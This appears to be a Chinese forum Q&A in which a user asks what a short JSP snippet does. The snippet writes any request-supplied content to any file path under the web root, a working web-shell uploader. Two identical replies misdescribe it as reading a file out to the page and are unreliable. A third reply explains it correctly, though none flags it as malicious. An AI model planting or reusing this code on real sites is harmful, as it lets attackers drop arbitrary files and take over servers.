有什么影响??<%
if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
%>

解决方案 »

  1.   

    先判断请求的文件参数是否为空,不为空就用文件输出流FileOutputStrean把网站根路径下的对应文件f写到页面的输出流里吧。猜测而已。自己试试就知道了。其实代码并不安全,最好先判断目录下是否有request.getParameter(“f”)的文件存在。
      

  2.   

    先判断请求的文件参数是否为空,不为空就用文件输出流FileOutputStrean把网站根路径下的对应文件f写到页面的输出流里吧。猜测而已。自己试试就知道了。其实代码并不安全,最好先判断目录下是否有request.getParameter(“f”)的文件存在。
      

  3.   

    if(request.getParameter(“f”)!=null)    // 判断请求参数f是否存在
    (new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
    application.getRealPath(“\\”)+request.getParameter(“f”)) // 读取参数f指定的文件在站点的物理路径(实际路径)。
    new java.io.FileOutputStream(...) // 以前面的文件新建一文件输出流
    request.getParameter(“t”).getBytes():// 获取请求参数t的内容(字节数组)整个代码的意思:如果文件参数f存在,则将参数t的内容写到参数f指定的站点根目录下对应的文件中